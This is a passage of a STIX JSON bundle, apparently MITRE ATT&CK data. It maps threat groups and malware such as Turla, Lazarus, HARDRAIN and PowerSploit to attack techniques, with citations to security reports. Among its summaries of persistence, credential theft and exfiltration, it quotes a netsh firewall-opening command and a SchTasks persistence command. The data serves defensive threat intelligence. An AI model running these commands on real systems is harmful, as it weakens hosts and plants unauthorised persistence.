                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-03-17T01:19:09.289Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c0584f8c-e358-4058-aafc-130bfb54dc88",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants create a new Windows service to establish persistence.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32"
        },
        {
            "id": "relationship--a9bf9268-1c45-4293-a5c2-c493556ad546",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dok](https://attack.mitre.org/software/S0281) downloads and installs Tor via homebrew.(Citation: objsee mac malware 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "type": "relationship",
            "modified": "2020-01-17T19:39:11.344Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5f055076-79d1-44e8-95cb-43fc515df2f6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T00:12:35.482Z",
            "created": "2017-05-31T21:33:27.068Z"
        },
        {
            "id": "relationship--7fcd4b9b-87e3-4e8c-abde-84639c85467f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Turla](https://attack.mitre.org/groups/G0010) JavaScript backdoor has used Google Apps Script as its C2 server.(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
                },
                {
                    "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/",
                    "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito May 2018"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:32:36.789Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Strider](https://attack.mitre.org/groups/G0041) has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.(Citation: Kaspersky ProjectSauron Blog)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/faq-the-projectsauron-apt/75533/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.",
                    "source_name": "Kaspersky ProjectSauron Blog"
                }
            ],
            "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "type": "relationship",
            "modified": "2020-03-23T16:14:37.241Z",
            "created": "2017-05-31T21:33:27.077Z"
        },
        {
            "id": "relationship--f3055d9f-986e-4202-bb13-c956069bb43f",
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            "description": "[Turla](https://attack.mitre.org/groups/G0010) has also used [PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Invoke-ReflectivePEInjection.ps1</code> to reflectively load a PowerShell payload into a random process on the victim system.(Citation: ESET Turla PowerShell May 2019)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "source_name": "ESET Turla PowerShell May 2019"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-03-20T15:43:40.930Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Poseidon Group](https://attack.mitre.org/groups/G0033)'s Information Gathering Tool (IGT) includes PowerShell components.(Citation: Kaspersky Poseidon Group)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Poseidon Group",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                }
            ],
            "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-18T15:34:54.769Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--80d72d09-c1a4-4735-b85a-28bfc19ef8b9",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.919Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--74bb0ae9-589c-4479-9bd5-b9a71a20e82d",
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            "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses the command <code>cmd.exe /c netsh firewall add portopening TCP 443 \"adp\"</code> and makes the victim machine function as a proxy server.(Citation: US-CERT HARDRAIN March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT HARDRAIN March 2018",
                    "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"
                }
            ],
            "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2020-03-20T02:27:21.759Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e4e2d35b-83fb-4515-b531-576acb02e1a5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has performed DLL search order hijacking to execute their payload.(Citation: Nccgroup Emissary Panda May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.737Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.(Citation: F-Secure BlackEnergy 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.319Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can download remote files onto victims.(Citation: FireEye APT34 Webinar Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                }
            ],
            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-01-10T15:12:52.340Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can use [Tasklist](https://attack.mitre.org/software/S0057) to collect a list of running tasks.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                },
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-10-14T22:38:11.536Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--16043223-3846-4138-93d0-671339ba3646",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) can send process listings over the C2 channel.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.362Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to execute shell commands.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-18T15:43:47.959Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--18d4782f-0e33-4bf5-b0a2-8dc04cacb617",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) and regsvr32 to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2020-01-14T18:15:36.603Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--deafd60c-af1a-40eb-bc43-287b37553fae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) can use the Windows API function CreateProcess to execute another process.(Citation: Lastline PlugX Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://labs.lastline.com/an-analysis-of-plugx",
                    "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.",
                    "source_name": "Lastline PlugX Analysis"
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.793Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ef2b823b-2fb1-442a-9d91-cf088242f6a6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "type": "relationship",
            "modified": "2020-03-28T18:14:37.088Z",
            "created": "2017-05-31T21:33:27.031Z"
        },
        {
            "id": "relationship--e6f81b9c-8fda-49f5-a944-265f5bad82ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "source_name": "Talos NavRAT May 2018"
                }
            ],
            "description": "NavRAT is linked to [APT37](https://attack.mitre.org/groups/G0067) with medium confidence.(Citation: Talos NavRAT May 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.912Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.200Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1e91cd45-a725-4965-abe3-700694374432",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "type": "relationship",
            "modified": "2020-06-20T22:29:55.654Z",
            "created": "2017-05-31T21:33:27.018Z"
        },
        {
            "id": "relationship--9b36e877-e637-46b8-bdf1-def74c977472",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.518Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--41634cea-6236-4013-bda3-345bcba4f40f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.336Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d8ac067b-f246-40bb-98bd-fcff74092139",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) exfiltrates collected files automatically over FTP to remote servers.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.536Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Most strings in [USBStealer](https://attack.mitre.org/software/S0136) are encrypted using 3DES and XOR and reversed.(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.091Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5377a247-28a9-4dc1-957f-78980504a5a3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/",
                    "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.",
                    "source_name": "Sofacy DealersChoice"
                }
            ],
            "description": "(Citation: Sofacy DealersChoice)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.740Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c1cbaa0f-59d2-4b49-a91f-c21bff7ca009",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Get-ProcessTokenPrivilege</code> Privesc-PowerUp module can enumerate privileges for a given process.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.037Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1ebc312e-68a4-4119-94c5-79897a5bf5b4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) establishes persistence by creating a scheduled task with the command <code>SchTasks /Create /SC DAILY /TN BigData /TR \u201c + path_file + \u201c/ST 09:30\u201c</code>.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:45:32.253Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f29a3a93-e697-4d6f-8087-eec72856bae5",
